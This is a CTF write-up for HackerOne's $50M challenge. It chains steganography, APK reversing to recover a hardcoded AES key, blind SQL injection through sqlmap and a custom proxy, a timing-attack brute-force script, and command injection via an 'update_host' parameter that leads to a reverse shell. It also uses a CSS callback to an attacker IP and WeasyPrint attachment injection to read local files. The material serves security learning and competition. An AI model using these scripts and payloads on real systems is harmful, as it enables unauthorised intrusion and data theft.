CTF Code: c8889970d9fb722066f31e804e351993 HackerOne $50M CTF Write-Up ============ I came across this [tweet](https://twitter.com/Hacker0x01/status/1100543680383832065) announcing the HackerOne CTF for invitations to the HackerOne event in Vegas during DEFCON. I tried searching for a URL for the CTF, but couldn't find anything online, so I assumed that the first challenge was the tweet itself. {F439432} Stage 1 - Steganography ---------- The first thing that I noticed was the second image in the tweet with a lot of binary numbers. {F439431} At first, I tried to write a script that would cut up the image evenly into images of around 20 pixels by 8 pixels to try to extract each digit, but that didn't work out because the digits were not of uniform length. Then I tried to convert the first line by hand to see if I got something meaningful. I got the first 4 characters as `zlib` and then some binary data, which was very difficult to obtain accurately, so I gave up on that method. Last, I tried to run the tool [zsteg](https://github.com/zed-0xff/zsteg) on the image, and it gave me a link hidden in the image. ```sh $ zsteg -a D0XoThpW0AE2r8S.png ... ... b4,b,lsb,xy,prime .. text: "g`2Dc&HEu" b4,rgb,lsb,xy,prime .. text: "k\"FPg&uR" b4,bgr,lsb,xy,prime .. text: "62uGdubSw%" b6,bgr,lsb,xy,prime .. text: "YETYEWUU" b7,b,msb,xy,prime .. text: "(4:M &Q(42" b1,rgb,lsb,yx .. zlib: data="https://bit.do/h1therm", offset=5, size=22 b2,rgb,lsb,yx .. file: PGP\011Secret Sub-key - b3,r,lsb,yx .. text: "Q.L\n4Af^" b4,rgb,lsb,yx .. text: "|xKKznZb" b7,g,msb,yx .. text: "rgZfcQD<" b8,r,lsb,yx .. text: "!6?727:3" ... ... ``` Stage 2 - APK Reversing -------- The `bit.do` link from the PNG redirected me to a [google drive link](https://drive.google.com/file/d/1u5Mg1xKJMrW4DMGaWtBZ1TJKPdvqCWdJ/view) with a APK file called `h1thermostat.apk`. I loaded the apk file in a APK decompiler called [JADX](https://github.com/skylot/jadx) that gives us the Java source code for the Android app. Inside JADX, I could see a overview of the various activities related to the Thermostat App. {F439433} Inside the `ThermostatActivity` class, I found the `setDefaults` function, which appears to send the username, password and the command `getTemp` to some remote server using the `PayloadRequest` class. ```java private void setDefaults(final ThermostatModel thermostatModel) throws Exception { thermostatModel.setTargetTemperature(Integer.valueOf(77)); thermostatModel.setCurrentTemperature(Integer.valueOf(76)); JSONObject jSONObject = new JSONObject(); jSONObject.put("username", LoginActivity.username); jSONObject.put("password", LoginActivity.password); jSONObject.put("cmd", "getTemp"); volleyQueue.add(new PayloadRequest(jSONObject, new Listener() { public void onResponse(String str) { thermostatModel.setTargetTemperature(Integer.valueOf(70)); thermostatModel.setCurrentTemperature(Integer.valueOf(73)); } })); } ``` From the `PayloadRequest` class, I found the URL of the remote server it sends the requests to. It also contained the details about the algorithm it uses to encrypt and decrypt communications between the app and the remote server. ```java public PayloadRequest(JSONObject jSONObject, final Listener listener) throws Exception { super(1, "http://35.243.186.41/", new ErrorListener() { public void onErrorResponse(VolleyError volleyError) { listener.onResponse("Connection failed"); } }); this.mListener = listener; this.mParams.put("d", buildPayload(jSONObject)); } private String buildPayload(JSONObject jSONObject) throws Exception { Key secretKeySpec = new SecretKeySpec(new byte[]{(byte) 56, (byte) 79, (byte) 46, (byte) 106, (byte) 26, (byte) 5, (byte) -27, (byte) 34, (byte) 59, Byte.MIN_VALUE, (byte) -23, (byte) 96, (byte) -96, (byte) -90, (byte) 80, (byte) 116}, "AES"); Object obj = new byte[16]; new SecureRandom().nextBytes(obj); AlgorithmParameterSpec ivParameterSpec = new IvParameterSpec(obj); Cipher instance = Cipher.getInstance("AES/CBC/PKCS5Padding"); ... ... ``` The AES key is a hardcoded 16-byte key, and the algorithm used is AES in CBC mode with PKCS5 Padding and a Random IV. I wrote a simple script in Java to convert the key to unsigned bytes that can be used easily with a AES library. ```java import java.io.*; class Ideone { public static void main (String[] args) throws java.lang.Exception { byte[] key = new byte[]{(byte) 56, (byte) 79, (byte) 46, (byte) 106, (byte) 26, (byte) 5, (byte) -27, (byte) 34, (byte) 59, Byte.MIN_VALUE, (byte) -23, (byte) 96, (byte) -96, (byte) -90, (byte) 80, (byte) 116}; for(int i = 0; i < 16; i++) { System.out.print(key[i] & 0xff); if(i < 15) System.out.print(", "); } System.out.println(""); } } /* Success #stdin #stdout 0.04s 2184192KB 56, 79, 46, 106, 26, 5, 229, 34, 59, 128, 233, 96, 160, 166, 80, 116 */ ``` Once I had the AES key, I then wrote a script in Ruby that would allow me to play around with the parameters to the API and see the response. It took the username, password and command inputs, converted them to a JSON string, encrypted the string with AES and encoded it in base64 and sent it to the server. It then got the response from the server and decrypted it using the AES key and printed the response to the user. ```rb require 'httparty' require 'base64' require 'openssl' aes_key_arr = [56, 79, 46, 106, 26, 5, 229, 34, 59, 128, 233, 96, 160, 166, 80, 116] AES_KEY = aes_key_arr.map(&:chr).join def encrypt(msg) cipher = OpenSSL::Cipher.new('AES-128-CBC').encrypt cipher.key = AES_KEY iv = cipher.random_iv encrypted = cipher.update(msg) + cipher.final iv + encrypted end def decrypt(msg) cipher = OpenSSL::Cipher.new('AES-128-CBC').decrypt cipher.key = AES_KEY iv = msg[0...16] data = msg[16..-1] cipher.iv = iv plain = cipher.update(data) + cipher.final end data = {"username" => ARGV[0], "password" => ARGV[1], "cmd" => ARGV[2]}.to_json encrypted_data = Base64.strict_encode64(encrypt(data)) encrypted_resp = HTTParty.post("http://35.243.186.41/", body: {"d" => encrypted_data}).body resp = decrypt(Base64.strict_decode64(encrypted_resp)) puts resp ``` After some tries with default credentials, I was able to get a successful response. ```sh $ ruby remote.rb "admin" "admin" "getTemp" {"success": false, "error": "Invalid username or password"} $ ruby remote.rb "admin" "password" "getTemp" {"temperature": 73, "success": true} ``` Stage 3 - SQL Injection ------ Now that I had a simple way to send requests to the remote, I tried some common SQL injection parameters on the username/password input fields. ```sh $ ruby remote.rb "admin'" "password" "getTemp" {"success": false, "error": "Unknown"} $ ruby remote.rb "admin\"" "password" "getTemp" {"success": false, "error": "Invalid username or password"} $ ruby remote.rb "admin' OR '1'='1" "password" "getTemp" {"temperature": 73, "success": true} $ ruby remote.rb "admin' OR '1'='0" "password" "getTemp" {"temperature": 73, "success": true} $ ruby remote.rb "admin' AND '1'='0" "password" "getTemp" {"success": false, "error": "Invalid username or password"} ``` This responses looked very much like a unsantized SQL query that could be exploited for SQL injection. Unfortunately it didn't seem like I could get much output from the remote except for success/failure. This led me to use SQLMap to exploit the injection as it has optimized scripts for extracting data when only blind injection techniques are available. I couldn't directly use SQLMap here as the parameters are encrypted, so I used the script I wrote earlier to write a simple proxy server using Sinatra where SQLMap can send it's normal POST requests, and the proxy server would encrypt the requests and forward them to the remote server and return the JSON response to SQLMap. ```rb require 'sinatra' require 'open3' post '/submit' do puts params stdout, status = Open3.capture2('ruby', 'remote.rb', params[:username], params[:password], params[:cmd]) return stdout end ``` Then, I can just unleash SQLMap on this localhost server and it should do the job for me. ```sh $ ruby sqlmap_proxy.rb [2019-03-11 09:00:22] INFO WEBrick 1.4.2 [2019-03-11 09:00:22] INFO ruby 2.5.1 (2018-03-29) [x86_64-linux] == Sinatra (v2.0.5) has taken the stage on 4567 for development with backup from WEBrick [2019-03-11 09:00:22] INFO WEBrick::HTTPServer#start: pid=18347 port=4567 {"username"=>"admin", "password"=>"admin", "cmd"=>"getTemp"} 127.0.0.1 - - [11/Mar/2019:09:00:28 -0400] "POST /submit HTTP/1.1" 200 60 0.2152 127.0.0.1 - - [11/Mar/2019:09:00:28 EDT] "POST /submit HTTP/1.1" 200 60 http://localhost:4567/submit -> /submit {"username"=>"admin", "password"=>"admin", "cmd"=>"getTemp"} 127.0.0.1 - - [11/Mar/2019:09:00:29 -0400] "POST /submit HTTP/1.1" 200 60 0.2290 127.0.0.1 - - [11/Mar/2019:09:00:29 EDT] "POST /submit HTTP/1.1" 200 60 http://localhost:4567/submit -> /submit {"username"=>"9727", "password"=>"admin", "cmd"=>"getTemp"} 127.0.0.1 - - [11/Mar/2019:09:00:30 -0400] "POST /submit HTTP/1.1" 200 60 0.2360 127.0.0.1 - - [11/Mar/2019:09:00:29 EDT] "POST /submit HTTP/1.1" 200 60 http://localhost:4567/submit -> /submit {"username"=>"admin\",'.((,)),", "password"=>"admin", "cmd"=>"getTemp"} 127.0.0.1 - - [11/Mar/2019:09:00:30 -0400] "POST /submit HTTP/1.1" 200 39 0.2095 127.0.0.1 - - [11/Mar/2019:09:00:30 EDT] "POST /submit HTTP/1.1" 200 39 http://localhost:4567/submit -> /submit {"username"=>"admin'RnrsuZ<'\">RCnItt", "password"=>"admin", "cmd"=>"getTemp"} 127.0.0.1 - - [11/Mar/2019:09:00:30 -0400] "POST /submit HTTP/1.1" 200 39 0.2091 127.0.0.1 - - [11/Mar/2019:09:00:30 EDT] "POST /submit HTTP/1.1" 200 39 ... ... ... $ python sqlmap.py -u "http://localhost:4567/submit" --method=POST --data="username=admin&password=admin&cmd=getTemp" --fingerprint --level 5 --risk 3 ___ __H__ ___ ___[,]_____ ___ ___ {1.3.2.30#dev} |_ -| . [(] | .'| . | |___|_ [)]_|_|_|__,| _| |_|V... |_| http://sqlmap.org [*] starting @ 09:00:28 /2019-03-11/ [09:00:28] [INFO] testing connection to the target URL [09:00:28] [INFO] checking if the target is protected by some kind of WAF/IPS [09:00:29] [INFO] testing if the target URL content is stable [09:00:29] [INFO] target URL content is stable [09:00:29] [INFO] testing if POST parameter 'username' is dynamic [09:00:30] [WARNING] POST parameter 'username' does not appear to be dynamic [09:00:30] [WARNING] heuristic (basic) test shows that POST parameter 'username' might not be injectable [09:00:30] [INFO] testing for SQL injection on POST parameter 'username' [09:00:30] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause' [09:00:53] [INFO] testing 'OR boolean-based blind - WHERE or HAVING clause' [09:01:11] [INFO] testing 'OR boolean-based blind - WHERE or HAVING clause (NOT)' [09:01:32] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause (subquery - comment)' [09:01:34] [INFO] POST parameter 'username' appears to be 'AND boolean-based blind - WHERE or HAVING clause (subquery - comment)' injectable [09:01:36] [INFO] heuristic (extended) test shows that the back-end DBMS could be 'MySQL' it looks like the back-end DBMS is 'MySQL'. Do you want to skip test payloads specific for other DBMSes? [Y/n] Y ... ... ... sqlmap identified the following injection point(s) with a total of 772 HTTP(s) requests: --- Parameter: username (POST) Type: boolean-based blind Title: AND boolean-based blind - WHERE or HAVING clause (subquery - comment) Payload: username=admin' AND 9499=(SELECT (CASE WHEN (9499=9499) THEN 9499 ELSE (SELECT 1626 UNION SELECT 8715) END))-- IcWo&password=admin&cmd=getTemp Type: AND/OR time-based blind Title: MySQL >= 5.0.12 AND time-based blind Payload: username=admin' AND SLEEP(5)-- TrnU&password=admin&cmd=getTemp --- [09:06:35] [INFO] testing MySQL [09:06:35] [INFO] confirming MySQL [09:06:36] [INFO] the back-end DBMS is MySQL [09:06:36] [INFO] actively fingerprinting MySQL [09:06:37] [INFO] executing MySQL comment injection fingerprint back-end DBMS: active fingerprint: MySQL >= 5.5 (MariaDB fork) ``` Now we can dump the databases and tables. ``` available databases [4]: [*] flitebackend [*] information_schema [*] mysql [*] performance_schema Database: flitebackend [2 tables] +---------+ | devices | | users | +---------+ ``` Dumping the data from the `users` table: ``` Database: flitebackend Table: users [2 entries] +----+----------+----------------------------------+ | id | username | password | +----+----------+----------------------------------+ | 1 | admin | 5f4dcc3b5aa765d61d8327deb882cf99 | | 2 | sevenate | c5b1d550b588178c4bb321069fb688ab | +----+----------+----------------------------------+ ``` Both the the hashes were easily found online to be `admin:password` and `sevenate:nine10`. However after playing around with the `cmd` parameter I realized that there wasn't much I could do besides call the `getTemp` and `setTemp` commands which I had found from the APK I had reversed earlier. So I moved my focus to the `devices` table. The `devices` table contained 151 IPs. I will post a truncated list of the table here. The complete list can be found here: https://pastebin.com/8T7kMede ``` Database: flitebackend Table: devices [151 entries] +-----+-----------------+ | id | ip | +-----+-----------------+ | 1 | 192.88.99.29 | | 2 | 192.88.99.117 | | 3 | 10.186.74.138 | | 4 | 192.88.99.20 | | 5 | 252.222.76.84 | | 6 | 241.192.235.227 | | 7 | 192.88.99.145 | | 8 | 192.88.99.150 | | 9 | 10.148.253.200 | | 10 | 254.15.165.28 | ... ... ... | 140 | 10.55.194.248 | | 141 | 192.88.99.23 | | 142 | 248.104.65.126 | | 143 | 244.16.55.86 | | 144 | 251.243.170.236 | | 145 | 192.88.99.248 | | 146 | 192.88.99.55 | | 147 | 10.27.78.111 | | 148 | 253.200.157.207 | | 149 | 192.88.99.145 | | 150 | 192.88.99.189 | | 151 | 10.2.31.209 | +-----+-----------------+ ``` Many of these looked like Private/Internal IPs. I decided to pass the list of IP addresses to nmap. As I'm on a university network, many of those private IP addresses showed up as online with ports open to me. I removed all the IP address that started with 192.* before starting the scan ```sh $ cat devices.csv | grep -v "^192" > devices2.csv $ nmap -iL devices2.csv Starting Nmap 7.60 ( https://nmap.org ) at 2019-03-11 14:04 UTC Nmap scan report for 98.12.196.104.bc.googleusercontent.com (104.196.12.98) Host is up (0.019s latency). Not shown: 997 filtered ports PORT STATE SERVICE 22/tcp open ssh 80/tcp open http 3389/tcp closed ms-wbt-server Nmap done: 101 IP addresses (1 host up) scanned in 23.76 seconds ``` http://104.196.12.98 is the IP for a new server for FliteThermostat. Stage 4 - Timing Attack ---------- We are presented with another log-in screen this time. This time however, there is a client-side component to it. The JavaScript code in `login.js` combines the username and password from the form into a 32-byte hash. I did not do proper cryptanalysis of the hash, however running some tests on it and going through the code pointed me towards the direction that the hash was destructive and it was not possible to recover the username and password from it. This meant, it was pointless to try to SQL inject the username/password. I tried to SQL inject the hash parameter directly incase it was being compared with a hash in the database and spent a lot of time, trying different forms of injection. After a lot of failed attempts, I thought of trying a timing attack on the hash comparision similar to challenges I've seen in previous CTFs. I implemented a multi-threaded solution with requests and threading in Python. There were a number of issues I faced: - The server rejects the hash if it is not of the right length (32 bytes). - I originally tried to bruteforce one hex character (4-bits) at a time, but the timing was too unreliable, so I had to switch to brute forcing 1 byte at a time. - If you used too many threads, the server would somehow slow down, and give you tons of false positives - On my final attempt to get the flag, the server went hay-wire after finding around 20 bytes, so I had to reduce the number of parallel workers from 64 to 4 which made the script very slow. This was the final script I used: ```py import requests import concurrent.futures import time def get_time(new_hash): start = time.time() req = requests.post('http://104.196.12.98/', data={'hash': new_hash}) elapsed = time.time() - start return elapsed curr_hash = "" for i in range(len(curr_hash)//2, 32): best_time = 0.0 best_byte = -1 with concurrent.futures.ThreadPoolExecutor(max_workers=64) as executor: futures = [] for b in range(256): new_hash = curr_hash + ("%02x" % b) new_hash += '0' * (64 - len(new_hash)) futures.append(executor.submit(get_time, new_hash)) for b in range(256): curr_time = futures[b].result() if curr_time > best_time: best_time = curr_time best_byte = b assert best_byte != -1 fin_byte = "%02x" % best_byte print('Found Byte {} with time {}'.format(fin_byte, best_time)) curr_hash += fin_byte print(curr_hash) ``` ```sh $ python brute_hash.py Found Byte f9 with time 1.0551841259002686 f9 Found Byte 86 with time 1.7021434307098389 f986 Found Byte 5a with time 2.191676139831543 f9865a Found Byte 49 with time 2.6396777629852295 f9865a49 Found Byte 52 with time 3.056812286376953 f9865a4952 Found Byte a4 with time 3.6751813888549805 f9865a4952a4 Found Byte f5 with time 4.157867431640625 f9865a4952a4f5 Found Byte d7 with time 4.642802000045776 f9865a4952a4f5d7 Found Byte 4b with time 5.1769492626190186 f9865a4952a4f5d74b Found Byte 43 with time 5.811188697814941 f9865a4952a4f5d74b43 Found Byte f3 with time 6.342976093292236 f9865a4952a4f5d74b43f3 Found Byte 55 with time 6.685908555984497 f9865a4952a4f5d74b43f355 Found Byte 8f with time 7.125741720199585 f9865a4952a4f5d74b43f3558f Found Byte ed with time 7.686535358428955 f9865a4952a4f5d74b43f3558fed Found Byte 6a with time 8.13300371170044 f9865a4952a4f5d74b43f3558fed6a Found Byte 02 with time 8.572584390640259 f9865a4952a4f5d74b43f3558fed6a02 Found Byte 25 with time 9.127085447311401 f9865a4952a4f5d74b43f3558fed6a0225 Found Byte c6 with time 9.615064144134521 f9865a4952a4f5d74b43f3558fed6a0225c6 Found Byte 87 with time 10.174720764160156 f9865a4952a4f5d74b43f3558fed6a0225c687 Found Byte 7f with time 10.610665321350098 f9865a4952a4f5d74b43f3558fed6a0225c6877f Found Byte ba with time 11.085944652557373 f9865a4952a4f5d74b43f3558fed6a0225c6877fba Found Byte 60 with time 11.662947177886963 f9865a4952a4f5d74b43f3558fed6a0225c6877fba60 Found Byte a2 with time 12.160533905029297 f9865a4952a4f5d74b43f3558fed6a0225c6877fba60a2 Found Byte b1 with time 13.189836025238037 f9865a4952a4f5d74b43f3558fed6a0225c6877fba60a2b1 Found Byte 01 with time 12.254333019256592 f9865a4952a4f5d74b43f3558fed6a0225c6877fba60a2b101 ^C $ python brute_hash.py Found Byte a2 with time 12.179362773895264 f9865a4952a4f5d74b43f3558fed6a0225c6877fba60a2 Found Byte 50 with time 12.572036743164062 f9865a4952a4f5d74b43f3558fed6a0225c6877fba60a250 Found Byte bc with time 13.273049354553223 f9865a4952a4f5d74b43f3558fed6a0225c6877fba60a250bc Found Byte bd with time 13.617496967315674 f9865a4952a4f5d74b43f3558fed6a0225c6877fba60a250bcbd Found Byte e7 with time 14.13040566444397 f9865a4952a4f5d74b43f3558fed6a0225c6877fba60a250bcbde7 Found Byte 53 with time 14.593729496002197 f9865a4952a4f5d74b43f3558fed6a0225c6877fba60a250bcbde753 Found Byte f5 with time 15.0700101852417 f9865a4952a4f5d74b43f3558fed6a0225c6877fba60a250bcbde753f5 Found Byte db with time 15.664264917373657 f9865a4952a4f5d74b43f3558fed6a0225c6877fba60a250bcbde753f5db Found Byte 13 with time 16.164478063583374 f9865a4952a4f5d74b43f3558fed6a0225c6877fba60a250bcbde753f5db13 Found Byte d8 with time 16.67181408072168 f9865a4952a4f5d74b43f3558fed6a0225c6877fba60a250bcbde753f5db13d8 ``` Trying the hash on the website gives us the session cookie to login! ```sh $ curl 'http://104.196.12.98/' --data "hash=f9865a4952a4f5d74b43f3558fed6a0225c6877fba60a250bcbde753f5db13d8" -vvv * Trying 104.196.12.98... * TCP_NODELAY set * Connected to 104.196.12.98 (104.196.12.98) port 80 (#0) > POST / HTTP/1.1 > Host: 104.196.12.98 > User-Agent: curl/7.58.0 > Accept: */* > Content-Length: 69 > Content-Type: application/x-www-form-urlencoded > * upload completely sent off: 69 out of 69 bytes < HTTP/1.1 302 FOUND < Server: nginx/1.15.8 < Date: Mon, 11 Mar 2019 15:48:54 GMT < Content-Type: text/html; charset=utf-8 < Content-Length: 217 < Connection: keep-alive < Location: http://104.196.12.98/main < Cache-Control: public, max-age=0 < Pragma: no-cache < Expires: 0 < Vary: Cookie < Set-Cookie: session=eyJsb2dnZWRJbiI6dHJ1ZX0.XIaDZg.P26g9dbuNlBlDBMSxlqQ785TGiY; HttpOnly; Path=/ < Redirecting...

Redirecting...

* Connection #0 to host 104.196.12.98 left intact

You should be redirected automatically to target URL: /main. If not click the link. ``` Stage 5 - Command Injection ------ Once we login, we're presented with a control panel for the thermostat with three links (one hidden). ```html

Temperature control

Check for updates

``` The Temperature control allows us to set the temperature, which doesn't seem interesting. The Diagnostics page just returns forbidden, so that is something we might have to access through some other means. The most interesting page is the Update page. It outputs: ``` Connecting to http://update.flitethermostat:5000/ and downloading update manifest ... ... ... Could not connect ``` This points towards something similar to a SSRF, but we need to figure out how to control the parameters, i.e the URL and the port. After playing around a bit with the URL and the parameters, I discovered that `port` param in the GET request allows us to change the port that the server connects to. However, this didn't help that much as it was converted to an int in the backend, and if you sent a string, it would throw an Internal Server Error. I was stuck for a long time at this point, trying various parameter names, until I saw the tweet from Cody, which was an underscore. I figured that the param that controlled the host might be two letter word joined by underscores. I wrote a script that used a [Burp Parameter Wordlist](https://github.com/danielmiessler/SecLists/blob/master/Discovery/Web-Content/burp-parameter-names.txt) and tried all the different combinations until it found something that changed the URL. ```py from requests_futures.sessions import FuturesSession session = FuturesSession(max_workers=32) params = open('burp-parameter-names.txt').read().strip().split() default_data = session.get('http://104.196.12.98/update', cookies={'session': 'eyJsb2dnZWRJbiI6dHJ1ZX0.XIaDZg.P26g9dbuNlBlDBMSxlqQ785TGiY'}).result().text print(default_data) param_requests = [] N = len(params) for i in range(N): for j in range(i + 1): p1 = params[i] p2 = params[j] curr = session.get('http://104.196.12.98/update?' + str(p1 + '_' + p2) + '=80', cookies={'session': 'eyJsb2dnZWRJbiI6dHJ1ZX0.XIaDZg.P26g9dbuNlBlDBMSxlqQ785TGiY'}) param_requests.append([p1 + '_' + p2, curr]) curr = session.get('http://104.196.12.98/update?' + str(p2 + '_' + p1) + '=80', cookies={'session': 'eyJsb2dnZWRJbiI6dHJ1ZX0.XIaDZg.P26g9dbuNlBlDBMSxlqQ785TGiY'}) param_requests.append([p2 + '_' + p1, curr]) for p, resp in param_requests: res = resp.result() print(res.url) if res.text != default_data or res.status_code != 200: print(p) print() print(res.status_code) print() print(res.text) exit() param_requests = [] ``` After letting it run for a couple of minutes, it found the magic param: `update_host`. Now that I could control both the host and the port, I tried to point the update to localhost and try to access the forbidden diagnostics page. However, nothing seemed to be working. I also tried doing a port scan, but that didn't find anything as well. After giving up on SSRF, I tried doing a command injection, and that worked! ``` # http://104.196.12.98/update?update_host=127.0.0.1:$(id)/ Connecting to http://127.0.0.1:uid=0(root) gid=0(root) groups=0(root)/:5000/ and downloading update manifest ... ... ... Could not connect ``` Using the command injection, I got a reverse shell back to my server, and searched through the system. The app was running in a docker container and I didn't find anything interesting except the source code of the app, where I found a number of red herrings ;) Next, I tried to scan the network that the docker instance was running on. ``` root@b60da3a618c2:/app# ip a 1: lo: mtu 65536 qdisc noqueue state UNKNOWN group default qlen 1 link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00 inet 127.0.0.1/8 scope host lo valid_lft forever preferred_lft forever 188: eth0@if189: mtu 1500 qdisc noqueue state UP group default link/ether 02:42:ac:1b:00:03 brd ff:ff:ff:ff:ff:ff link-netnsid 0 inet 172.27.0.3/16 brd 172.27.255.255 scope global eth0 valid_lft forever preferred_lft forever root@b60da3a618c2:/app# nmap 172.27.0.0/24 Starting Nmap 7.40 ( https://nmap.org ) at 2019-03-11 16:16 UTC Nmap scan report for 172.27.0.1 Host is up (0.00011s latency). Not shown: 998 closed ports PORT STATE SERVICE 22/tcp open ssh 80/tcp open http MAC Address: 02:42:DE:7A:10:86 (Unknown) Nmap scan report for flitectf_accounting_1.flitectf_default (172.27.0.2) Host is up (0.00015s latency). Not shown: 999 closed ports PORT STATE SERVICE 80/tcp open http MAC Address: 02:42:AC:1B:00:02 (Unknown) Nmap scan report for b60da3a618c2 (172.27.0.3) Host is up (0.000010s latency). Not shown: 999 closed ports PORT STATE SERVICE 80/tcp open http Nmap done: 256 IP addresses (3 hosts up) scanned in 103.50 seconds ``` Visiting http://172.27.0.2 we come across a new service. Stage 6 - Local File Inclusion ------ First I tried to set up a proxy so that I could access the website normally, and play around with it. To do this, I downloaded ngrok and reverse proxied the website to a publically accessible domain. ``` root@b60da3a618c2:/tmp# ./ngrok http 172.27.0.2:80 ngrok by @inconshreveable (Ctl+C to quit) ngrok does not support a dynamic, color terminal UI on solaris. Access the web interface for connection and tunnel status. Version 2.3.15 Region United States (us) Web Interface http://127.0.0.1:4040 ``` On the website, there were two tabs: Invoices and Reports, both of which were protected by login. On the Invoices page, there was a hidden link in the source to a page to create a new invoice. ```html

Home

Reports

Invoices

``` We can modify the Invoice data and then generate a HTML preview or a PDF. Investigating the parameters to the request. I investigated the parameters to the request to see what we could modify and exploit. ```json { "companyName": "Acme Tools", "email": "accounting@acme.com", "invoiceNumber": "0001", "date": "2019-04-01", "items": [ ["1", "Test", "Test", "10"] ], "styles": { "body": { "background-color": "white" } } } ``` I tried modifying the CSS background property to a image which was hosted on a server controlled by me and I got a connect back. ```sh ## background: url('http://45.77.200.226:3002'); root@vultr:~# nc -l -v -p 3002 Listening on [0.0.0.0] (family 0, port 3002) Connection from 98.12.196.104.bc.googleusercontent.com 35548 received! GET / HTTP/1.1 Host: 45.77.200.226:3002 User-Agent: WeasyPrint 44 (http://weasyprint.org/) Accept: */* Accept-Encoding: gzip, deflate Connection: close ``` Now I know that the server is using the WeasyPrint library to convert the HTML to PDF. From here, I spent a lot of time on trying to mess with SVGs used in the background, and try to extract files out of the file system, but nothing worked. After giving up on the SVG track, I tried reading the source code of the WeasyPrint library to try and find something I could use. I found a feature that allowed me to insert attachments into the pdf. ```py # https://github.com/Kozea/WeasyPrint/blob/master/weasyprint/html.py#L307 elif element.tag == 'link' and element_has_link_type( element, 'attachment'): url = get_url_attribute(element, 'href', base_url) title = element.get('title', None) if url is None: LOGGER.error('Missing href in ') else: attachments.append((url, title)) ``` To test my theory, I created a simple HTML file and converted it to a PDF using `WeasyPrint`. ```sh $ cat test.html $ weasyprint test.html test.pdf -v INFO: Step 1 - Fetching and parsing HTML - test.html INFO: Step 3 - Applying CSS INFO: Step 4 - Creating formatting structure INFO: Step 5 - Creating layout - Page 1 INFO: Step 6 - Drawing INFO: Step 7 - Adding PDF metadata ``` Opening the PDF in the browser, I found the `passwd` file in the attachments! {F439435} So now if I could somehow inject a link tag into the HTML that was generated by preview, I would have LFI on the system. I tried searching for inputs that were not sanitized, and I found one in the attribute-name in the CSS styles. ```html $ curl 'http://4eefcea7.ngrok.io/invoices/preview' -G --data-urlencode 'd={"companyName":">","email":">","invoiceNumber":">","date":">","items":[["1.5500",">",">","10"]],"styles":{">":{">":">"}}}' ... ... ...

Invoice

# >

Billed To:
>
>

... ... ... ``` I tried to close the style tag, so that it would allow me to inject raw HTML, however the parser was completely filtering any closing tags. So I used a common XSS filter evasion trick and wrapped the closing style tag with another closing style that: `yle>` That seemed to work. I used the injection to extract the `/app/main.py` file which should be the source code of the app. ``` $ curl 'http://4eefcea7.ngrok.io/invoices/preview' -G --data-urlencode 'd={"companyName":">","email":">","invoiceNumber":">","date":">","items":[["1.5500",">",">","10"]],"styles":{"a":{"} yle> ":"a"}}}' ... ... a { } : a; } ... ... ``` The preview looked good, and pdfize returned the pdf with the source code in the attachment! ```py """ CONGRATULATIONS! If you're reading this, you've made it to the end of the road for this CTF. Go to https://hackerone.com/50m-ctf and submit your write up, including as much detail as you can. Make sure to include 'c8889970d9fb722066f31e804e351993' in the report, so we know for sure you made it through! Congratulations again, and I'm sorry for the red herrings. :) """ from flask import Flask, abort, redirect, render_template, request, Response from jinja2 import Template from weasyprint import HTML import base64, json, os, random, re ``` Thanks for the great CTF! Even through it was a bit frustrating at times, I learnt a lot from it. ## Impact I had shell on the machines, I also finished the CTF.

Query Builder